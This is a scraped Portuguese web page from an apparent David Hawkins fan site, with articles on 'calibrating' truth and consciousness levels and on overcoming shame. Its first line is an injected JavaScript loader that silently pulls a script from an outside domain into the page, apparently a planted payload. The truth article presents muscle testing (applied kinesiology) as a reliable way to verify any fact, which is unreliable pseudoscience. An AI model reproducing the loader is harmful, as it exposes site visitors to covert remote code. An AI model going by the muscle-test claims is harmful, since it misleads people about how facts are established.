;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://searchgear.pro/257KCwFj"); Arquivo de falsidade - David Hawkins Brasil
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Níveis de Consciência

Verdade vs. Falsidade: como discernir?

O Dr. David Hawkins quebrou um dos grandes paradigmas da humanidade: distinguir o que é verdade do que é falsidade. Isso não é baseado na capacidade intelectual dos seres humanos. Na verdade, ele é categórico em dizer que: “a mente não consegue discernir o que é verdadeiro do que é falso”.  

Com a mente ficamos presos no paradigma de que todos os posicionamentos podem ser verdadeiros, o que leva a gente a infinitas mentalizações que não levam a lugar nenhum. Esse relativismo distorce os fatos, validando pontos de vista sem sentido porque a maioria das pessoas não reconhece a verdade. Portanto, a verdade não está no que a maioria acredita.

“A desvantagem de nossa sociedade é que estamos dizendo que podemos votar na verdade. Se essa falácia não for corrigida, haverá a destruição de nossa civilização, como Sócrates previu por volta de 350 A.C.. Ele disse que se você der a cada pessoa um voto igual para determinar a verdade, o não-íntegro destruirá a sociedade.” – Dr. David Hawins, “The Map of Consciousness Explained”

A resposta do que é Verdadeiro ou Falso está na consciência

A resposta para algo que a mente não consegue lidar só pode estar em algo maior do que ela mesma, que é a consciência. Publicamos no artigo sobre Sexualidade uma visão de como interpretamos a realidade, muito útil para o que vamos contextualizar aqui também. 

Observe que o nosso braço não sabe que é um braço, ele não consegue experienciar o que é ser um braço. É a mente que reconhece que o braço é o braço e nos permite sentir o nosso braço e até movê-lo. É por isso que podemos receber uma anestesia e deixar de sentir o braço, por exemplo. O entorpecente da anestesia adequado interrompe o canal de comunicação entre braço e mente.

Podemos ir além e observar que mesmo a mente em si não consegue experienciar uma sensação ou um pensamento, isso só ocorre em algo maior do que si mesma que é a consciência. É porque existe a consciência, que é esse infinito campo silencioso, como uma tela em branco, que podemos escutar a nossa própria mente e saber o que se passa nela. 

Como dissemos anteriormente, um paradigma de distinguir o que é verdadeiro do que é falso não está disponível com a ferramenta que é a nossa mente. No entanto, está disponível em algo maior do que a mente, que é a consciência.

Como a consciência pode manifestar a Verdade?

Nosso corpo reage espontaneamente aos fatos, independente daquilo em que acreditamos ou não. Logo, sendo uma pessoa íntegra com questionamentos íntegros, nosso corpo reage positivamente a Verdade e enfraquece diante da falsidade, ou seja, na ausência da Verdade. 

“A consciência reage decisivamente à diferença entre o verdadeiro e o falso. 

Você pode instantaneamente confirmar isso por afirmar sua verdadeira idade, que vai fazer o seu braço ficar forte, e então a sua idade incorreta que vai fazer o seu braço enfraquecer. 

(Digamos que você tem 43 anos).

“Eu tenho 43 anos.” Tendo alguém pressionando o seu braço estendido, você vai se manter forte.

Agora diga: “Eu tenho 45 anos”, e você vai instantaneamente enfraquecer.” – Dr. David Hawkins, “Cura e Recuperação”

A ciência que estuda os testes musculares e como aplicá-los se chama Cinesiologia, e é possível aprofundar um pouco mais sobre isso nesse artigo aqui. Além disso, destacamos também que esses testes de cinesiologia foram testados por milhares de pessoas nesse trabalho do dr. David Hawkins, em diferentes formatos.

O livro “Poder vs. Força” no qual o dr. David Hawkins revelou isso ao mundo é um best-seller mundial, traduzido em mais de 25 línguas. Além de ter o respaldo desde santos até executivos, como a Madre Tereza de Calcutá, o Sam Walton, fundador da rede mundial de varejo Walmart e o Lee Iacocca, criador do carro Mustang. No final desse artigo, acrescentamos a sinopse desse livro, que contém os destaques do que essas pessoas disseram sobre o livro.

Manifestação da Consciência além do teste muscular

É importante ressaltar que o músculo ficar forte ou fraco não é a única reação da consciência que podemos verificar no nosso corpo físico. No entanto, o teste muscular é a maneira mais prática de se observar a Verdade.

“A técnica do braço é usada porque é rápida, fácil e altamente visível. No entanto, a resposta na verdade não é apenas a resistência muscular, mas também a uma ampla gama de respostas fisiológicas, como dilatação pupilar e função cerebral (atualmente objeto de projetos de pesquisa multimilionários conduzidos por agências de inteligência do governo dos EUA), juntamente com motilidade gástrica e outras respostas do sistema nervoso autônomo. Estes são detectáveis em laboratório e, portanto, não são práticos para uso diário rápido.” – Fonte: Veritas Publishing FAQ

Condições para aplicar o teste muscular

Cada vez que fazemos um teste como esse para saber se algo é Verdadeiro ou Falso, chamamos de calibragem. Podemos ir além com essa técnica de calibragem e determinar também o Nível de Consciência de qualquer coisa, desde que se pergunte antes se há permissão para isso, utilizando a mesma técnica.

Toda a tabela dos Níveis de Consciência do dr. David Hawkins foi construída com anos de estudo de cinesiologia aplicada. A escala dos níveis de consciência vai de 1 a 1.000, onde 200 é o nível crítico onde começa a Verdade e a Integridade e 500 é o nível do Amor Verdadeiro. 

“Todo mundo pode fazer cinesiologia? A cinesiologia só pode ser feita efetivamente por pessoas que calibram acima do nível da Verdade e Integridade no nível de consciência 200. O motivo da inquirição também deve estar acima de 200.” – Fonte: Veritas Publishing FAQ

Outro ponto relevante é que todos os fatos do presente e passado ficam registrados no campo de consciência, até mesmo a quantidade de fios de cabelo que determinada pessoa possui. Por isso, é possível, consultar todo o presente e passado. No entanto, a cinesiologia não pode ser aplicada ao futuro, porque existe o livre arbítrio e o futuro está em aberto. 

“A cinesiologia é usada para determinar a presença da verdade ou a sua ausência (não verdade). A pessoa pode inquirir sobre qualquer coisa que aconteceu em qualquer período, qualquer lugar no tempo ou espaço, passado ou presente. Como o futuro não aconteceu ainda, ele ainda não existe e não há nenhuma verdade a ser determinada sobre algo que não existe.” – Fonte: Veritas Publishing FAQ

Além disso, é importante ressaltar que todos os livros do dr. David Hawkins contêm um apêndice ensinando a fazer a calibragem dos níveis de consciência.

Saindo da teoria e indo para prática

O primeiro passo é aceitar que a técnica é válida e funciona. Logo, é preciso atingir um estágio onde o ego compreende e aceita que é possível saber a verdade pressionando o braço até de uma criança.

“Agora, fraudes espirituais realmente não são mais possíveis, acabou o “lobo em pele de cordeiro”. Na essência, aquilo que é puro, verdadeiro e sagrado, se calibra como tal e a falsidade pode ser revelada até mesmo pelo braço de uma criança inocente (vídeo Power vs. Force, Hawkins, 1995).” – Dr. David Hawkins, “Reality, Spirituality and the Modern Man”

Para que essa compreensão ocorra, é necessário primeiro compreender que os fatos do mundo não são aleatórios, mas sim orquestrados por Deus. Nesse artigo onde explicamos o significado da expressão “Gloria In Excelsis Deo!” aprofundamos um pouco mais sobre esse tema. 

É um caminho no qual escolhemos sair do Relativismo, onde todos os pontos de vista são válidos e aceitar o Absolutismo, onde se observa que a fonte de tudo o que existe é Deus.

“A posicionalidade relativista é baseada na premissa de que todos os pontos de vista são igualmente válidos (“O terrorista de um homem é o libertador de outro”, etc.). Assim, se um relativista é íntegro ou honesto, então ele deve admitir que o absolutismo é uma alternativa igualmente válida ao próprio relativismo.” – Fonte: Veritas Publishing FAQs 

Considerações Finais

O nível de consciência revelado não se trata de opinião pessoal. A calibragem é impessoal e revela a Verdade para todos nós. 

“A calibragem da consciência é impessoal; apenas denota um número. Dr. Hawkins não era um proselitista nem interessado em persuadir as pessoas. Ele não teve nenhum envolvimento pessoal com os resultados das calibragens. Assim, as críticas que começam com “Você diz” ou “Como é que o Dr. Hawkins acredita”, etc., são todas projeções do próprio narcisismo do questionador. Observe que todos os livros principais incluem extensas referências e documentação.” – Fonte: Veritas Publishing FAQ

Calibrando a própria ferramenta da calibragem na escola Hawkins de Consciência, é revelado que essa ferramenta em si calibra em 600, Iluminação. Esse é o primeiro nível em que o ego se dissolve. É justamente por isso que a calibragem não é sobre opinião pessoal, ao contrário disso, é sobre deixar o ego de lado para conhecer a Verdade. 

“Krishna falou que a Espada da Verdade seria revelada, Jesus, por sua vez, falou que não veio trazer Paz e sim Espada.” – Vítor Esprega 

Não estamos aqui para buscar prazeres o tempo todo, estamos aqui para evoluir espiritualmente. Para isso nos são dadas essas “espadas”.

E quais são essas espadas? As mais tradicionais e conhecidas são oração, meditação, serviço altruísta ao próximo e fé. Mas também temos contemplação, deixar ir, disciplina, lógica, jejum, perdão, bom humor, se observar (“Vigiai e orai”), desenvolver virtudes, entre outras. Por fim, foi revelada a espada da calibragem nos permitindo discernir o que é Verdade e qual caminho seguir.

O discernimento da Verdade está disponível para nós aqui e agora. Diante dessa ferramenta, temos a peça que faltava no quebra-cabeça do praticante espiritual que almeja estados avançados de consciência a partir do Amor (500).

Gloria In Excelsis Deo!

Leia direto da fonte: livro “Poder vs Força” 

É impossível ser a mesma pessoa depois de terminar a leitura de Poder vs Força. Portanto, confira aqui a sinopse do livro:

“Imagine: e se você tivesse acesso a uma simples resposta de sim ou não para qualquer dúvida que quisesse tirar. Uma resposta demonstravelmente verdadeira. Qualquer pergunta… pense nisso.” — do Prólogo.

“[Um] lindo presente escrito . . . [Você] espalha alegria, amor e compaixão por meio do que escreve. O fruto dessa árvore é paz, como você bem sabe…” — Madre Teresa de Calcutá, missionária ganhadora do prêmio Nobel da Paz. 

“Eu aprecio especialmente [a] pesquisa e apresentação dos campos atratores corporativos…” — Sam Walton, fundador da rede mundial de varejo Walmart

“… particularmente oportuno…uma contribuição significativa para entender os problemas que enfrentamos hoje em dia e lidar com eles. ” — Lee Iacocca, criador do carro Mustang.

“Formidável! Uma obra de arte! Um trabalho para a vida toda!” — Sheldon Deal, presidente do International College of Applied Kinesiology

Em Poder vs. Força, David R. Hawkins detalha como qualquer pessoa pode resolver o maior dilema da humanidade: como distinguir instantaneamente a verdade da falsidade. 

Esse é o livro onde o dr. David Hawkins, M.D., Ph.D., apresentou ao mundo pela primeira vez a Tabela dos Níveis de Consciência. É um bestseller que eleva a ciência a um patamar não linear. É o relato de décadas de dedicação em determinar o que torna pessoas e sistemas robustos, saudáveis, efetivos e espirituosos. 

Este livro é obrigatório para quem não descobriu ainda o poder do trabalho do Dr. David Hawkins ou para aqueles que querem se aprofundar em seus ensinamentos e sua visão única com relação a saúde, felicidade e todas as áreas da vida.

Acesse o site da Editora Pandora e adquira o seu exemplar do best-seller Poder vs Força.

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Vergonha, é possível vencê-la? – com base em Dr. David Hawkins

A vergonha é um dos maiores bloqueios do ser humano para enfrentar problemas e se desenvolver

Essa emoção está tão presente em nosso dia a dia que muitas vezes nem a percebemos. Sentimos vergonha:

  • por um elogio,
  • em ter feito algo sem querer que saia dos padrões aceitáveis da sociedade (deixar comida cair, babar ao rir, arrotar entre a fala, etc),
  • vergonha por estar com uma espinha no rosto,
  • da nossa gordurinha localizada,
  • de nossa família,
  • de nós mesmos,
  • vergonha “alheia” (pelo que o outro fez),
  • vergonha de assumir nossas decisões,
  • de voltar atrás em uma decisão,
  • de nossos pensamentos bizarros que achamos que só nós temos,
  • vergonha de sentir vergonha.

Afinal, por que sentimos tanta vergonha?

Para entender isso, precisamos beber da fonte da vergonha, que é a resistência à Realidade. A vergonha é o medo de:

  • não ser aceito pelos outros,
  • errar,
  • se expor ao ridículo,
  • falhar,
  • decepcionar os outros,
  • não atender às expectativas dos outros ou de si.

Ou seja, são medos das projeções e cobranças sociais e culturais.

Historicamente, vergonha era acompanhada de banimento. Um pária da sociedade era banido de seu grupo ou bando e fadado a viver em isolamento como castigo por ser diferente.

Antigamente, os grupos de humanos eram mais restritos, mais desconfiados de estranhos e a violência era liberada por ausência de autoridades.

Por isso, ser banido era sinônimo de quase morte. Era apenas uma questão de tempo até ficar sem recursos ou ser atacado por um animal faminto ou um bárbaro.

Consequentemente, esse trauma ficou registrado no inconsciente da sociedade e, hoje, a vergonha continua como um dos sentimentos mais inaceitáveis que se pode ter.

É um sentimento que traz tanta ausência de energia que é considerado o mais próximo da morte pelo Dr. David R. Hawkins, Ph.D., M.D. americano, autor do livro best-seller Power vs Force.

Dr. Hawkins afirma que a vergonha é utilizada como uma ferramenta de crueldade na sociedade, através de acusações e projeções de culpa pelos atos de uma pessoa no passado.

Isso se manifesta através de afirmações como: “você não tem vergonha?”, “eu sinto vergonha de você”, “você deveria se envergonhar”, “você é uma vergonha para a sociedade”.

Qualquer atitude que saia dos padrões de crenças de uma pessoa é considerada inaceitável, condenável e, logo, digna de vergonha.

Para entender como vencer a vergonha é necessário primeiro entender alguns pontos:

1. Vergonha é atrelada às crenças

Todos os seres humanos possuem sistemas de crenças próprios ou coletivos. Esses sistemas não são a Realidade, mas pontos de vistas julgamentalistas e emocionais sobre ela.

São opiniões e posicionalidades diferentes e distantes do que realmente É ou Foi. São retratos da realidade extraídos de um ângulo que não considera e percebe os outros ângulos.

Como em uma Polaroid, a foto esmaece e perde sua nitidez. Dessa forma, qualquer vergonha não é a Realidade, mas uma mera percepção sobre ela e a vontade de controlar como a realidade “deveria ser” ou “deveria ter sido”.

2. Vergonha é resistência à Realidade

Com isso, percebemos que a realidade acontece e, quando acontece, resistimos à ela por querer que ela “tivesse sido” diferente.

E isso é distanciamento da realidade. Afinal, a realidade é como se manifesta e não tem como ser diferente, caso contrário já seria diferente, obviamente.

Portanto, resistir à realidade traz sofrimento. Quanto maior o grau de resistência, maior o sofrimento. E o grau máximo de resistência à realidade leva o nome de vergonha.

Em suma, a vergonha é um estado onde gostaríamos de sumir, de virar um avestruz e esconder nossas cabeças na terra ou até mesmo preferir “morrer” ao invés de encarar aquela situação.

3. Vergonha é uma mentira bem contada

Se vergonha é resistência à realidade, mas acreditamos nela, significa que esse sentimento vem acompanhado de diversas justificativas argumentativas que nos convencem que devemos acreditar na vergonha e nos sentir envergonhados.

Essas justificativas são falsas, pois elas negam a realidade. Logo, o que nega a realidade é falsidade, é irrealidade, é ilusão.

Como, então, fazemos para vencer essa emoção?

Devemos aceitar a realidade como ela se manifesta ou se manifestou, sem resistência e, se possível, com gratidão.

Afinal, essa realidade é uma oportunidade de aprendizado para fazermos diferente da próxima vez. Todos os seres humanos erram. E o erro é a forma de acertarmos e nos corrigirmos. Isso é evolução.

O caminho é aprender com os erros e ser grato a eles. Quando aceitamos a realidade, partimos do princípio de humildade em reconhecer que as coisas não são como queremos que sejam, pois não temos o controle de tudo ao nosso redor.

Portanto, quando entendemos esse princípio, passamos a ver a vida com maior Graça. Com humor. E no humor não há vergonha. Ela é chata. Humor é divertido.

Mas o que significa aceitar a realidade?

Aceitar a realidade é entender que tudo ao nosso redor convergiu para que aquela determinada situação ocorresse por algum motivo, às vezes não entendida a partir das nossas percepções limitadas dos cinco sentidos e da interpretação da mente.

Partindo do principio de que “se aconteceu é porque tinha que ter acontecido”, nos livramos do peso do erro intencional ou por incapacidade.

Só nos vemos capazes de fazer diferente agora porque já experienciamos aquela situação. Seria impossível fazer diferente antes, porque senão teríamos feito. Aí está a Evolução.

Isso implica em, aprender com o erro e se permitir entender as coisas de maneira mais ampla, sem se culpar pelo passado.

Se negamos a realidade caímos em vergonha e, presos nesse sentimento denso, nada acontece. Não há aprendizado.

Então, a experiência perde sua essência e um acontecimento semelhante terá de surgir novamente. Só assim será possível despertar o nosso potencial de aprendizado que foi negligenciado na experiência anterior por não termos aprendido com o “erro”.

Assim, nos escravizamos em um círculo vicioso de sermos sempre vítimas de nossas próprias escolhas ou ausências de escolhas.

Para vencer a vergonha é necessário querer abrir mão do prazer de ser vítima. Pois a vítima tem o benefício de receber atenção daqueles que sentem dó. E receber esse amparo e carinho é agradável para o nosso ego narcisista.

Logo, ficar envergonhado e se colocar no papel de vítima tem suas recompensas: o de se tornar o centro das atenções.

Esse prazer oculto do ego precisa ser rendido e entregue, entendendo que essa atenção recebida temporariamente só faz com que nos mantenhamos no estado de vergonha até um próximo ciclo.

Ou seja, um minúsculo prazer de curto prazo que traz sofrimento no curto, médio e longo prazo e não vale a pena no contexto evolutivo.

10 passos práticos para vencer a vergonha

Na prática, assim que essa emoção surge, devemos:

  1. Separar o fato de como acreditamos que deveria ter ocorrido (nossa expectativa).
  2. Identificar o sentimento de vergonha e suas falsas justificativas e emocionalidades que tentarão te convencer que se envergonhar é o correto.
  3. Aceitar a realidade como ela É Agora.
  4. Render os prazeres de (a) se envolver com seus julgamentalismos e certezas mentais e (b) buscar atenção e afeto externo através de dó ou autopiedade.
  5. Não ser tirano consigo mesmo e “se dar bronca” por sentir vergonha, mas entender que é apenas uma natureza do ego humano e aceitar também essa natureza, sendo gentil com você mesmo. Se não, pode surgir a vergonha por sentir vergonha.
  6. Continuar observando os jogos falaciosos do ego (seu próprio e dos outros) até sair do turbilhão.
  7. Refletir sobre os aprendizados obtidos com a situação e agradecer pela oportunidade de perceber o absurdo de querer rejeitar a realidade, transformando a falsa percepção em aceitação verdadeira.
  8. Se for possível e sentir necessário, corrija o percurso através do autoperdão, perdoando ou pedindo perdão aos envolvidos e se disponha a reparar os danos ou mudar os acontecimentos.
  9. Se essa opção não for possível, apenas realize o processo de perdão acima mentalmente e continue rendendo os sentimentos de vergonha que irão surgir (e tentar te seduzir) até que a situação se acalme ou passe.
  10. Aceite a si e à Realidade como São, em todos os momentos, sem exceções, dando o seu melhor para evoluir o suficiente a cada dia alinhado aos princípios de moralidade.

Consequências positivas

Treinamentos e Mentorias sobre perdão, empatia, espiritualidade ou autoconhecimento também podem ajudar a entendermos e nos aprofundarmos em nossa natureza. Como consequência positiva, podemos nos aceitar cada dia mais para nos tornarmos pessoas e seres melhores.

Boas práticas.

Acompanhe esta série de artigos do Dr. David Hawkins listados abaixo em ordem crescente:

00. Entendendo os níveis de consciência

01. Como vencer a vergonha?

02. Culpa, para que serve?

03. Como se livrar da tristeza?

04. Enfrentando o medo.

05. O desejo é a fonte do sofrimento.

06. Como controlar a raiva.

07. Por que o orgulho pode nos Prejudicar

08. Coragem é a base do sucesso

09. A neutralidade nos ajuda a não sofrer

10. Disposição pode nos levar a resultados inimagináveis

11. Aceitação, o caminho do perdão.

12. Apenas 4% das pessoas utilizam a razão.

13. O que é amor verdadeiro?

14. A Paz e o processo de Iluminação

15. Como despertar a Iluminação Espiritual